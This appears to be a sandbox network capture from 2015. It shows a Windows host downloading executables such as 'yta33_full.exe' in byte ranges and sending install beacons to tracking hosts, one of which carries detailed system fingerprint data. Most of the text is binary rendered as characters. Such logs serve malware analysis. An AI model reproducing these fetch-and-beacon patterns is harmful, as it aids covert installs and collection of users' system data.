Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/7590800
.....].g...mw.!.&..[.X...t6#O..<.Y...,[email protected].."k...zk......
.Tg.u...o..>......y*.......;[email protected]...:".K;}l....v).kW
S...CI..j.s...I...0....n"...|..9.....UDI..:..P.W.:[.... .1&./.....4`(.
Y...=.bZ8........i....-...ZT...c..).....n.m..4.0.....Wq.Zw............
u.h...I...1~S.....'...0x%......'......-I...R...r..Tg.O..{9H.<,..:[.
[email protected].&.e...:;..g/@.....".x.....5..C....Q...;rQ.r.
P....>..\.`.y...{..I{...x.Z...TI....>p.g.:\..f.|_#5.w]y..w7.;...
Zhp'.]..5..zG.I...."..[.....,.^2.C.G.i..........O.Y.{...p...^toLT..g..
(p..S.....pt.v.k.m..<m.......|T...[... _.<Pm.....SNH qj..3.....N
.W....tp.4..v..a..s..>......T9.J..9.[..............\.i.2.QvG..{....
<Z...4..l.".y.[.H......Rq...0.u.O.O.17_.......Z'...K.{.....s[5...b.
..v.t.....F/.nXb...YqQG.x..X...jf.wGWem....{.h...^....C.]H.`.1h...W...
.rs...H.NJG....* ......1L...u.A.....u..:^^.^:..wY...Jj.u..y..v....1.]*
.^...-?...9._M-.:.tg....;....V... r_:...j..g.....&........5..#dq.iq...
;.......=."......W.&r.'-.........k.?..{.J..."..L...wB..R..,.........I]
..:..........9.\.j..=Z..2.<...Kv...d9:....&.f..lO.S>....}?.7|...
E...4Y.........=...}[email protected],.....O|[email protected]....
....(.^.3.E.m..?.vf....U..Z......H.a...=Ou.&T.......g..B.^x.'4'..sf...
U.....P....:......LC...$.....$..l./..C...f.9..s.`......3.A........~.&g
t;.;=-..X5Z....A*.Nw.>[email protected].`[.x.8..vZ..-R.....
.9..X..Tx..2.G,.s...-l..X,*.w.=4a.......n......J.T...Q.F....(....(F..l
..*):..1.3...l..........[.. .{f...X.!..D.g.'...`..E..j.s....... ..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3750000-3999999/7590800
{M......v..].!..=F..)OS.b....MRKR.U.W.V.\5..y..5..F....-.[.cS....Z..oi
..]0...8...a7.:'Q..Nb..I.&..o...~h.......l]>...&.8Bk.!'b..dGN....,.
...S...6!s.r.J.J,U.W..TZ...Y...KwVe-...~K_....S..`...53...J.H.<..0I
.a.C......}d...].<....K.dU.....[........<:=.2...eI.R...J....{r..
v..l...z...].&....x..\.V.i.Q_'..].&b. ..;.p...2!.....>:.,..)..._...
n>..Dm.....sgFV..9Rk.A.$.U.[;{b.T.\Ju{.~.s.y....fe.J!..cQG...K$.!..
....ze.d/._h.[..4.t9h/.hZ...U.d.....Er.n.m.m...U. .{..d8...V......j...
.7.-.D...].o^g|......z.s.A.Z#...j0m...1...r.v.....gV.....i..D..9...BI.
1....(.a.....(.K~0s..S...d...................&,....Fh.a...r..X...6...%
Q,..T[).R.JY.....jr.jg..ye.eq.7..j.c.^$MG...ZP...xO(/..}I...O......S..
...4YT."[email protected]....=.l..EL....2<E..?..T.s.[..
.?.KT#.%.......~....i.4...i.VA[..4H..R..% .......L3<..>.!......0
.........,..8.B....l.r..,#5.....;....sP.A.9%<%.KHK.H.C...v%.K)../:-
.\.u..=g..vje.....V_[.....Mw...U^W..uY%y....idT....N'.N\..p.a5..T.-...
v1.....<.._3.RfI1..V..vs.....h.MS..}..g.......<.......;...*.....
...%$...........?..2~...........@%..X....Yli.-..n.........I1u...2.6Y})
.R:..4C..Q..u..".c6...Q(..P!..n..C..\{...].]Jp.....\.V......K.:Cw..J..
.....e. .K..W.p..n.l.T.....'...]b"c].qh.....*9lF.,!R.y#.%.G../xuB...i.
*^:.7.......EB.~.d..]...yv...Xyr......0^......I ...9.f.&..(}....O...m.
....^.........q.Evp.u=...F.8..l ..yc.fb..m..,).....q....68...6T..o....
I.)-U..F..?..9..;..J.N..P..`..v.X.._..).^.y YWb...h....&....n.X.c.....
Ij%..%....M$.1......k......;m\.....v......y.r.n....{.u._RU.....pI.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4250000-4499999/7590800
....].....M.MNv....l......M..w... ........N._..'........y]D~.xE~../..5
..e!..B.$&...@&rN.....m.....6...;..."f...\..d......V(....]..[..\....G&
.3!b3!b....x._&.=... .....Q..$...B.6..r....l..*..M........ .|(..b ....
.R.b....l.y.b...].....j.-W10.-7.-..1....b.l....F3..G..Q...w..RZ..(....
?.m|I..~.zs..).`.t.zs...`..~O!..N'>..R.h..L]:Z..[j>Z.....<..&
lt;.9.....3...Qe.QeAF56.RAKK}8.|.3..F...&. ..F.R @l.^...."6.%..."..(j.
e.(Eh..&..P...Q..R..=].:..2..2.1.mi...F..........c.....A;..g.....J....
...".C.....l......H>z)=E.3....s..H..].n....i..dP<..Oa.30....0...
.. .'..d.....F..1O.........1..`.e..8..g0..GdEL.A....D.&.. ..&..fm..6r,
.q...i..F.H..(zz...O....T..P..P........Dm.2[.F.Pgpml.M..v.y......HgT.Y
j#.R....6... <[email protected]...._k.....`.)D~.....N.,d,......^.....&
....0..... .&..J.|....N....... ~c......`....5...6.Ed.......0F...Ai...g
....`........O.8.<.B..D..`T'...J1..W.....XB#...I,......qMl....OL...
vM.C.....SB."...@..(..3e>"G.2m...%......-..Z..;.....kNQ\.....|;..I.
.c.g..c.....l....#&. ../...H".. ..{2..F.n...3e.A.B........^EQ.g.....4~
E..4.MC..........i.,.!...qL-......u;_..V..L.=..:Q..E...N.IB..[JH=$d..E
Q.$....F.`.5......@ [email protected],.;....?..W.r6......q.n.eT.;
...%...#fl.z..~.Sp..!XY..P..?R.V.....'...:Y}..I\.S*A..4K.....V.X9.Y!&l
t;[email protected]...".~.....i\.....~..J. P..\.%_P......K."..".
...x..[..D&6G...5i1bA..u..I...g.......g."6:Qv'.........=..=s.5.......g
.vP{d.\t..*j'.13.\K..g............_.l..}d..M..-.J&..B...T.6....6...(..
...>[email protected].#..I..]h.]h....L.....NU....|....0..ug...|<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4750000-4999999/7590800
 .0S...n.HC..(k..m]V.........V..R..;_lEM?Q$7..;..e0.>i.D....F_Z....
..!&-..e....D.%^*.._.X.....Z.E.F]....fY..ZK..mf....v.G..?.9q.....0_.n.
K.U.fxS......i^.6A.;.3......f.....D..[k...\....]..mO.Y`P..6...b.l9(..7
E..3.....n5...).b.....D..z..4s....?....P.a.......b/...:.7.%P....".Vu..
7..'.e.....x..%$.*......f.j..q...QX..%."N%..n.3d....*DO.7El."...|...].
.T.....a................yzdg.4..s:.Pg...a.~%\o.$@;.a.D...|d.{.....|lp.
#....{L?.^b.04wg..n.B.G|.,.."..>.1*.#.. qU...>...'..K..Q.,..Y..8
..r>...O....a.......Jb....KN.P..a.=s../.$4...B...G.6I../U$P0.....;[
.P.>j.[..Ebt..!..R..!i..v..J.........e..........-.........o..z..|.a
F$...nP.C..J8...W.H..._...L'.%DL("..%..w..l....g"..Qv.5...g._..iH`.)..
.[u9..[[email protected]."........N.Iln_...s......c H\)...........Z.q........{...
/T.....kY.o&K....vw.Vg.Oq]...0.0...X#kidH.PI...1.. 9..T.3W.y}..=.....,
g..R..N..'~....w...H...P..bCUT.7.=.\S..4..U(.....^..;A.b]....e~..Si..H
.:.C.....0..?......Q......D.B.H..-N..w..[...v...S...U2".....).....`r.w
...7Z.p.....<UV...$...m..6.-.c[O....U.M..$./.,.........1k.9._h....v
.c.(.....s..._bt1(o. ..HUn.D.....v.....J...h6..t.9R.;/.= [email protected]@
..(.#r.[......mj....f.={uj.........2r...rV.2..0....P(....P..E....r.#S?
.....U...'TK..(......O.c\...W...r..C%..:-...,..wX.p..1n.-z2..A.h.:8$.$
v........\.....M...m.4?v..[.|..J.4nq..&..1......Tp...p..5.\...6:...E#.
2..O....A.h.S9Ed..g..kn..h7*0`...O......PMr.z...QYNA.......%...|...Z .
.-.(z..a..F..h.Z.mBeF1 fmn/...wb1E....}*[email protected]^'zc.%M.&K.E....n.M.w.d..
(..r#....d1.....(E).{..R...u`y.)h.z.&v,..s>.B.z......;..b.4:TL.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5250000-5499999/7590800
;b.AF..#......`6#.d...#....K.t.[..s...._U..j1s6.........B...oW.......i
..2..k.~..w98m.$.:{.._.J........h.S..0HoA.(s...e.zY...d._J...u........
o&...>...A..b.......A\..bK...:...........G.....-p..%c^.I..S..b..S[&
gt;-.........k........}@.{....8......8.2WA...SW..%.S .bG...o.\....<
.5o...<P.....}..pR...6r".G.E..E)E...lL._....~...`O.r...j.m./4.....a
Q......H.27..0..RE..%.......f."`y....Q.<...~f.P....D...6...n...k.M.
=.gx...bQ...O$..a..@r\..;.;[email protected]'hE...x...?T6.w.K.q..-n V>.L.
8C......l...F...Y..{\.;%Z;.Z/.....W?.7..........)*.....l.L:.N..H.....j
^....D.....;.G(.....-......F...cJF:......m '....Q.:}M9...f.l...}....".
.e).M...,.....b...J.....FB...9..HT.#.'.w...R]f.p.......e....u.K...3l.@
...d.'.4.v...E...S..Y...*..........d/...o..7........mc......xr.......[
.k...S.$.;R.W..t9.$...)~...Zf.....O$...C.u.A.7...:.....:./c.9........:
Ie.{j.L.R......Q."4q.mnDQ.f..M7........m_.keE.}../...v.....n .g..2..Pp
..._..|.2..i............v.U..{..J....4..8N.e...]#.$..M..../.t.....4.].
|f....ybsx......)........>)d..`..8..JcAlxE.....j.0Y....."W.JL...~..
.5@...?o.Q&e.<M.......W....../h.n.....e...........Q.ny_6.w....K...]
...Y.'..Hr.{..K..l]...4.......x.M...........5.L.7Y...4..!-.~lI.jR....^
QX..n6nlJ.4...=./.W.w:.v..5....K...Je5 ..'..7 ).Z.W.Ya.......}G..q.'.`
.j@<.....J...Vd...x....Y.[.jw....:....Z.....;tOSp].G..zGn....H...nb
....Mj8.u:Q.ys.'.Qu..V........{k...(.J.D...0%....j.........#^K........
.F!.L.Bh.........w.dkD:..5..;.@....*..F.Qc.0..^<Ft.W..F;......P..C.
.bK7']8[2.l*..1..M...k.....Q..uB\N.uG?x..H.....n..m.N.........8.H.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5750000-5999999/7590800
Bmd[..~..{H.......wa.?@.$...7.:.<.YL.u...Y.N[j.@Q...#...d@.."V$5.#.
......".C.....Z s.Z.< .X.....r...w-.........-W..0.............. .V.
T...E..bH\:]D....'(X,.,..6...C$k.X.H...T.4r....(...$.N.n.jO7....R...)v
@G..6.XF..n..6....j.T...g...G. ...=0^....G`i......N..;5^.W.`.H|..I.b..
..aU=M.%&/x..x.}....V.`.p..O.A(3.i..Q.'....F...B..c...Z.T...2S...H.Y.V
v-.1.......JI...=9=....G:...#-...1..]V.j.....f... ..P.Q....U....E..D.Q
.`...L.#...k...t0bb....Dm.C....f..MS*J.......}..j....v..............I.
-qj..\~p.W..n$HW;.|.&\..4........}J..h.w55^.vg.Lq<wI..........}....
..;w9.c.O...(R....0..^[R..1........ 6...g.....?....l.&3(.y.Q-y:HN..>
;p 4.]......yO..m.H.nc........>..[.....B.x..........BBx.........TA.
..B.0o3.tu...q.X....v/....t...fd.......'..x..u.K%..e$)......q.lY...U..
C...L..E.....T^`#..NE.v).l...#.....u_^B*.6....O...rA......}.o...|sq. .
....$.>.hi..{..ie1....h..J4.z.*.G.].VY. dCj._....$..XH...b..W,.....
...!...S...-m{.xh.. .v....CYO...d^J..i........n.'|..t;Q..........Q....
y.o.. QG,..E..iC.x.'..........oh.r....\. ...SOnQ#,erC..kG...(.*.(..L. 
.B)....W.-......?..W....w.|...L.....W....IF.....B.f.o...'..,\.`....|..
....*...6.T.L`.h3Q {.x.hp..>...2Vo.x.../xzE.b.u...b...m..Uai.....1.
.....2i0........QW.....\%7.........Z.."......1.....]....@[email protected].....
m._./.8....Vj...~.0....H.W..Cv..h..4...y.>FR8...M.?sE..L-.)...$~2.g
...B.,..V.u......J.E.....{>..........!......4.S.aPX .uL...i-}1..V..
...H.Bm....K;...2ZvA.....p2....a.m. q..6>..}%.bR..J.......".-u&p..@
[email protected]..#.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6250000-6499999/7590800
=c.#.....6..0........!Fu..~..:.........<9...........~.....i.3.K.MdH
...F.0.I.[.F.....Pt....3=W*..l..-.....|.C................q..!y.@...;.0
.u..R...u.......e..'.H.......C.'..l...s6 .X6"..X....b...%.7....Cb...Q.
."l a..V...LP8.'#.....#...;.(Z#....r.[....W|....QR.R...Ly:..#.;...j.w.
>.....7.[*.....7..v...7g...".1X....[..2... dh..K.......(...Y.......
bs._Qr...B...bA.6..@.~.u\.....%..4..9o.9...).D...\z=Zj".....Eay.}&%z. 
z..}.*.L.4..l\r.:.....5n.e*..V.J... D...j.~.zQ.......5B|.`.O..Xl....rA
.... l.`5dPj8 ....3.x...o\....'Y\oy..A......H..../..bt..u:J.3Q.F..I.jl
.....P...C..[...V.k......x....c.i..Hmu.. ...nL....g.Z$!...X.j.Z.*.1.J.
.xzQy{$...WS....{S..f:...4..\.....e.l........".i.s.&...;...]...%zL..J.
cI.y......G......B.`-.....d..j.&/..*......K...s...8..E.`....~.F.*.Es..
TO4..1.....L|B....h7....P.d..p.....N.0........N......i,&..;......M....
...sf.......1....jc..K...`I<......2..'....m...F.s....c..e10.!3jOu..
E....l.&.....#...g..@...[/...i...{....Y/...b.G..8...C.3..2%...;..d....
..zq..|.N....!..]..u...fu.6.....a....)i... ..I..L}.jMA...Y...).>.ZH
..<...S.[.....). .y..l...^...1?.YR........",..d?...C...".....?..k.W
..n5....$....~.@Y.~?...|..ZC.b...2.<.q._g.)..ZN.>......_.2#..r.q
...N...U]#\.}.b.L..Q.......y...._...e._H.......O.s.'...[|....I......S.
.\..Fp]..... ..Y..?...q.r,.#..sC...hU...Q.....6.8.TE.7....h?.Z....Z6.e
...U..vgK:....Q..[[email protected].{uD..}..Z......@.._.O..D,.....o....aZ.P...6
x2.9..... .....W...k...\.N..W.J5.&,..D%......M)......J.sm....o..`..#;.
...-1G........}..u,.c.).....'..Q.u.6C.mg............Y.z.....?.4...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6750000-6999999/7590800
A.d.I?(..!.^.pc2....9.wf2..lZ.,..\.]Q..b.).0U.{hy.......B..-f..vM:.g..
.v.......!....].D*.....{s..U1.Q.bu..Z.B...6......bj.........5...".adY.
.%.....8V.q.$.......(...Z..$.A~G........t.2..b........_".%.7....H./e.9
.N.7.....Zbj...>.M.R.......#..........i..R.$.#....XxK.d8..&.k..7.].
.)_...=#.2..J....L.... .G....l.X...CA.i...-....T.A.S.:$.F.~...n.]Q%$..
.?H..a....O...#M......qD..=..K.......B....v...k........I.......s<..
,.1s6|..8D(.}..'..<.s.Q.....[M..[...\ .....]S}......j..V..?........
.......S...F..r._i....=\Ea.f[@....p....O...*[email protected].,.2ZA..Z.
r.3l.y...j#.L.q5..ct.KBnNx.$t.cMn.....(`....K..nt.;g..._.`......^...#U
.9RE`x... o..K.......A..F4}.:L.}.uQS.=,...........Dl..%....K.!)."EuKQ.
v...9.......f....9|..>Z..j.....k.......]...9]..;ul...16r....s..p3..
...n.....N.I...7t..J6j.wA..J=j.B...3p......L.[...}..8..j..o.w#{....|'.
..#..2..R..Y..._.>..!...^..nCw......._O........i~C....0.?}.z..m.c..
e..jpY$.;.m..H[...~....=.wR.'7Ih.........5..,wC. ...9...w..4u..@......
.....<.p,.._j.=..t.x.h..d..t..u.P8.,q..xX.....k.o.@...`....4...9..%
YgBo.1(d.$...)..n..y.:X.p/[...<.....*...A....<..ezO.....?6......
[email protected]...<..._6.....J...y../...I..FZ..w
..rH...oi.a..=....|...y|i|..5x.7-.c ..NE$_..m....]......u.!.....M.....
6jI.<%i&...n....S..$~G.6mR%w.C...Q....S7r../.o...\.,.}p.h..).......
]..F."....w..Y.._..{.c.5\f.. l.....{....U.*.D.!....?.).z..82.{....(...
A^`.`W.70........bnf.~.j...B......fe.......0.. .O...[.s.1=..I.0W..b!5.
.U.... ?I...R.....%..]?..D.........K.. 4.......&.....2! .VDce{....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7250000-7499999/7590800
1if....t......... ...9..... .&K..#.......... aW.R...r.y.K..M.D...W.R..
$..l...:e..W.;..(.... .%..:.....:...T.0...]...C.Sg..UH.'p.85H.........
..l......#f.0XY.$....a...p....&.6..h..P....|d......e..'......J......q.
..<j..8sG......._R..Zg.@.,."9....@.)W....N0....6.7w%..`...s%..P{..d
w.!]d...u3<X/.......?D.......161?3..|..%...i...O.qR....Uc=......f.m
[email protected](....J..RD...k.6...O.VG.A..z^.N`[email protected] %..
A...L<.d.....tZ.3..yc..^.[...Hv.&.<9..}..D.J..Y..&G.....gs...Ek.
g|ow.z'W..!.m..$..r;~..LU.D1D5.j.,~..B.B#2...u!^...\....8...CW.h....g.
'!...,....q..G.......3...qTL.........V*O....L..|.~.........N.e-..)v..A
.........7...I.AqOz..i.3.Q.W...s.).....B..S{..~..........p..{.. z.._'c
.EB....]...0R.P..U...*|.....~.{.oa&.(.h6."8..j.T...A6..] OM........df.
Hklt3..io.-...|. ...*[email protected]...@/..<. ...o.......
..i...........5b>....#/=2P>F....C].yB.pc.S.I-..{.,.......'$.."..
.......x..D......5....x.M6^[email protected]..:..V.d@&...0.....{.#.K..
.{.....q&..k..S.6.....bc.....xq.R.P........W.^[email protected][.,.......m..\..
\...5.._...I...0....).K.C..U>U.#.................D...7;...W..H.(.a.
.>..Ps......1....r..[Nl..}......>r^..0O..&..%..FS....I..).E.Q...
").DL..K.8...#.."IV.R..V..Y....i.}......"..H1.../....nE0y.A......AJ.=L
........l.......sb.../ ....n...r1-`....^H-..n...z..C.p..J.1.........-1
.6...5.VO..[.>.-....?....%.|..j..8...4.A.U.........pP.9.z..f...cgb.
:......X..(ck.......X......P..5..............`...E.....d.K.K.z.i..eN..
.vy.....;..`f..B...V2H...MO...y..:-@..,D5.].:._Iw.B....U.I..?"z...<<< skipped >>>

GET /install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com


HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Wed, 22 Apr 2015 08:23:31 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 668

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=istartsurf&ptid=smt&ui
d=267123711_198339_B48A115F</td>..</tr>..<tr>..<t
d>Server:</td>..<td>us-pub00.v9.com</td>..</tr
>..<tr>..<td>Date:</td>..<td>2015/04/22 03:
23:31</td>..</tr>..</table>..<hr/>Powered by T
engine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found..Se
rver: Tengine/1.2.2..Date: Wed, 22 Apr 2015 08:23:31 GMT..Content-Type
: text/html; charset=utf-8..Content-Length: 668..Connection: keep-aliv
e..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html&
gt;..<head><title>404 Not Found</title></head>
..<body bgcolor="white">..<h1>404 Not Found</h1>..&l
t;p>The requested URL was not found on this server. Sorry for the i
nconvenience.<br/>..Please report this message and include the f
ollowing information to us.<br/>..Thank you very much!</p>
..<table>..<tr>..<td>URL:</td>..<td><<< skipped >>>

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 586214

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 69138579f0e00411ece41ff78ec07fb6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9W4a6lePHXcUVoQrBpuhzTA2LJbUTl8sqjsTvfjazXcKN71v-0nVvQ==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......h...............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
..h............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429690905&procruntime=3&rnd=1429690908 HTTP/1.1

Host: stats.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 2Op6PYPvd7hmYF/ndt1Iz0wgTiJldz1hIrCMaoTvk641A5vMonrx51u/ssT37TEY9GQb0261QDQ=

x-amz-request-id: 5F4C05435B8D8158

Date: Wed, 22 Apr 2015 08:21:49 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 2Op6PY
Pvd7hmYF/ndt1Iz0wgTiJldz1hIrCMaoTvk641A5vMonrx51u/ssT37TEY9GQb0261QDQ=
..x-amz-request-id: 5F4C05435B8D8158..Date: Wed, 22 Apr 2015 08:21:49 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


